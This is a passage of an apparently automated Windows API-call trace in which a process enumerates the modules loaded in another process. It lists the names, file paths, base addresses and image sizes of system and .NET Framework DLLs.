GetLastError () returned 0x2 [0055.375] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0055.375] GetLastError () returned 0x2 [0055.375] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74f40000, lpmodinfo=0x269bca4, cb=0xc | out: lpmodinfo=0x269bca4*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0055.375] GetLastError () returned 0x2 [0055.375] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0055.376] GetLastError () returned 0x2 [0055.376] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0055.376] GetLastError () returned 0x2 [0055.376] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75130000, lpmodinfo=0x269cda0, cb=0xc | out: lpmodinfo=0x269cda0*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0055.376] GetLastError () returned 0x2 [0055.376] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0055.377] GetLastError () returned 0x2 [0055.377] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0055.377] GetLastError () returned 0x2 [0055.377] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75090000, lpmodinfo=0x269de8c, cb=0xc | out: lpmodinfo=0x269de8c*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0055.377] GetLastError () returned 0x2 [0055.377] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0055.378] GetLastError () returned 0x2 [0055.378] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0055.378] GetLastError () returned 0x2 [0055.378] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75b60000, lpmodinfo=0x269f010, cb=0xc | out: lpmodinfo=0x269f010*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0055.379] GetLastError () returned 0x2 [0055.379] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0055.379] GetLastError () returned 0x2 [0055.379] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0055.379] GetLastError () returned 0x2 [0055.379] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75150000, lpmodinfo=0x26a0104, cb=0xc | out: lpmodinfo=0x26a0104*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0055.380] GetLastError () returned 0x2 [0055.380] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0055.380] GetLastError () returned 0x2 [0055.380] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0055.381] GetLastError () returned 0x2 [0055.381] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74a90000, lpmodinfo=0x26a11f8, cb=0xc | out: lpmodinfo=0x26a11f8*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0055.381] GetLastError () returned 0x2 [0055.381] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0055.381] GetLastError () returned 0x2 [0055.381] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0055.382] GetLastError () returned 0x2 [0055.382] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74000000, lpmodinfo=0x26a22f4, cb=0xc | out: lpmodinfo=0x26a22f4*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0055.382] GetLastError () returned 0x2 [0055.382] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0055.383] GetLastError () returned 0x2 [0055.383] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0055.383] GetLastError () returned 0x2 [0055.383] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749f0000, lpmodinfo=0x26a342c, cb=0xc | out: lpmodinfo=0x26a342c*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0055.384] GetLastError () returned 0x2 [0055.384] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0055.384] GetLastError () returned 0x2 [0055.384] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0055.384] GetLastError () returned 0x2 [0055.385] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75fd0000, lpmodinfo=0x26a45c0, cb=0xc | out: lpmodinfo=0x26a45c0*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0055.385] GetLastError () returned 0x2 [0055.385] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0055.385] GetLastError () returned 0x2 [0055.385] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0055.386] GetLastError () returned 0x2 [0055.386] GetModuleInformation (in: hProcess=0x4e4, hModule=0x755e0000, lpmodinfo=0x26a56bc, cb=0xc | out: lpmodinfo=0x26a56bc*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0055.386] GetLastError () returned 0x2 [0055.386] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0055.387] GetLastError () returned 0x2 [0055.387] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0055.387] GetLastError () returned 0x2 [0055.387] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749e0000, lpmodinfo=0x26a67b0, cb=0xc | out: lpmodinfo=0x26a67b0*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0055.388] GetLastError () returned 0x2 [0055.388] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0055.388] GetLastError () returned 0x2 [0055.388] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0055.389] GetLastError () returned 0x2 [0055.389] GetModuleInformation (in: hProcess=0x4e4, hModule=0x729c0000, lpmodinfo=0x26a78ac, cb=0xc | out: lpmodinfo=0x26a78ac*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0055.389] GetLastError () returned 0x2 [0055.389] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0055.390] GetLastError () returned 0x2 [0055.390] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0055.390] GetLastError () returned 0x2 [0055.390] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745d0000, lpmodinfo=0x26a8a44, cb=0xc | out: lpmodinfo=0x26a8a44*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0055.391] GetLastError () returned 0x2 [0055.391] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0055.391] GetLastError () returned 0x2 [0055.391] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0055.392] GetLastError () returned 0x2 [0055.392] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747d0000, lpmodinfo=0x26a9b40, cb=0xc | out: lpmodinfo=0x26a9b40*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0055.392] GetLastError () returned 0x2 [0055.392] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0055.393] GetLastError () returned 0x2 [0055.393] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0055.394] GetLastError () returned 0x2 [0055.394] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74790000, lpmodinfo=0x26aac3c, cb=0xc | out: lpmodinfo=0x26aac3c*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0055.394] GetLastError () returned 0x2 [0055.394] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0055.395] GetLastError () returned 0x2 [0055.395] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0055.395] GetLastError () returned 0x2 [0055.396] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74920000, lpmodinfo=0x26abd38, cb=0xc | out: lpmodinfo=0x26abd38*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0055.396] GetLastError () returned 0x2 [0055.396] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0055.397] GetLastError () returned 0x2 [0055.397] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0055.397] GetLastError () returned 0x2 [0055.397] GetModuleInformation (in: hProcess=0x4e4, hModule=0x71a80000, lpmodinfo=0x26ace70, cb=0xc | out: lpmodinfo=0x26ace70*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0055.398] GetLastError () returned 0x2 [0055.398] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0055.398] GetLastError () returned 0x2 [0055.398] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0055.399] GetLastError () returned 0x2 [0055.399] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73e70000, lpmodinfo=0x26adffc, cb=0xc | out: lpmodinfo=0x26adffc*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0055.399] GetLastError () returned 0x2 [0055.400] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0055.400] GetLastError () returned 0x2 [0055.400] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0055.401] GetLastError () returned 0x2 [0055.401] GetModuleInformation (in: hProcess=0x4e4, hModule=0x70ea0000, lpmodinfo=0x26af1b8, cb=0xc | out: lpmodinfo=0x26af1b8*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0055.401] GetLastError () returned 0x2 [0055.401] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0055.402] GetLastError () returned 0x2 [0055.402] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0055.403] GetLastError () returned 0x2 [0055.403] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73cd0000, lpmodinfo=0x26b04a8, cb=0xc | out: lpmodinfo=0x26b04a8*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0055.403] GetLastError () returned 0x2 [0055.403] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0055.404] GetLastError () returned 0x2 [0055.404] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0055.404] GetLastError () returned 0x2 [0055.404] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749c0000, lpmodinfo=0x26b168c, cb=0xc | out: lpmodinfo=0x26b168c*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0055.405] GetLastError () returned 0x2 [0055.405] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0055.406] GetLastError () returned 0x2 [0055.406] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0055.406] GetLastError () returned 0x2 [0055.406] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749b0000, lpmodinfo=0x26b2788, cb=0xc | out: lpmodinfo=0x26b2788*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0055.407] GetLastError () returned 0x2 [0055.407] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0055.408] GetLastError () returned 0x2 [0055.408] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0055.408] GetLastError () returned 0x2 [0055.408] GetModuleInformation (in: hProcess=0x4e4, hModule=0x752b0000, lpmodinfo=0x26b3894, cb=0xc | out: lpmodinfo=0x26b3894*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0055.409] GetLastError () returned 0x2 [0055.409] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0055.410] GetLastError () returned 0x2 [0055.410] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0055.410] GetLastError () returned 0x2 [0055.410] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75220000, lpmodinfo=0x26b4990, cb=0xc | out: lpmodinfo=0x26b4990*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0055.411] GetLastError () returned 0x2 [0055.411] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0055.412] GetLastError () returned 0x2 [0055.412] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0055.412] GetLastError () returned 0x2 [0055.412] GetModuleInformation (in: hProcess=0x4e4, hModule=0x748e0000, lpmodinfo=0x26b5a94, cb=0xc | out: lpmodinfo=0x26b5a94*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0055.413] GetLastError () returned 0x2 [0055.413] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0055.414] GetLastError () returned 0x2 [0055.414] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0055.414] GetLastError () returned 0x2 [0055.415] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74880000, lpmodinfo=0x26b6ba0, cb=0xc | out: lpmodinfo=0x26b6ba0*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0055.415] GetLastError () returned 0x2 [0055.415] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0055.416] GetLastError () returned 0x2 [0055.416] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0055.417] GetLastError () returned 0x2 [0055.417] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75bc0000, lpmodinfo=0x26b7ca4, cb=0xc | out: lpmodinfo=0x26b7ca4*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0055.417] GetLastError () returned 0x2 [0055.417] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0055.418] GetLastError () returned 0x2 [0055.418] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0055.419] GetLastError () returned 0x2 [0055.419] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d30000, lpmodinfo=0x26b8da0, cb=0xc | out: lpmodinfo=0x26b8da0*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0055.420] GetLastError () returned 0x2 [0055.420] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0055.420] GetLastError () returned 0x2 [0055.420] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0055.421] GetLastError () returned 0x2 [0055.421] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749a0000, lpmodinfo=0x26b9e8c, cb=0xc | out: lpmodinfo=0x26b9e8c*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0055.422] GetLastError () returned 0x2 [0055.422] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0055.423] GetLastError () returned 0x2 [0055.423] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0055.423] GetLastError () returned 0x2 [0055.424] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74980000, lpmodinfo=0x26baf98, cb=0xc | out: lpmodinfo=0x26baf98*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0055.424] GetLastError () returned 0x2 [0055.424] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0055.425] GetLastError () returned 0x2 [0055.425] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0055.426] GetLastError () returned 0x2 [0055.426] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74870000, lpmodinfo=0x26bc0a4, cb=0xc | out: lpmodinfo=0x26bc0a4*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0055.427] GetLastError () returned 0x2 [0055.427] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0055.428] GetLastError () returned 0x2 [0055.428] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0055.428] GetLastError () returned 0x2 [0055.428] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73c30000, lpmodinfo=0x26bd1ac, cb=0xc | out: lpmodinfo=0x26bd1ac*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0055.429] GetLastError () returned 0x2 [0055.429] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0055.430] GetLastError () returned 0x2 [0055.430] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0055.431] GetLastError () returned 0x2 [0055.431] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74850000, lpmodinfo=0x26be2b8, cb=0xc | out: lpmodinfo=0x26be2b8*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0055.432] GetLastError () returned 0x2 [0055.432] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0055.433] GetLastError () returned 0x2 [0055.433] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0055.433] GetLastError () returned 0x2 [0055.433] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747f0000, lpmodinfo=0x26bf3b4, cb=0xc | out: lpmodinfo=0x26bf3b4*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0055.434] GetLastError () returned 0x2 [0055.434] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0055.435] GetLastError () returned 0x2 [0055.435] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0055.436] GetLastError () returned 0x2 [0055.436] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74750000, lpmodinfo=0x26c04a0, cb=0xc | out: lpmodinfo=0x26c04a0*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0055.437] GetLastError () returned 0x2 [0055.437] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0055.438] GetLastError () returned 0x2 [0055.438] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: 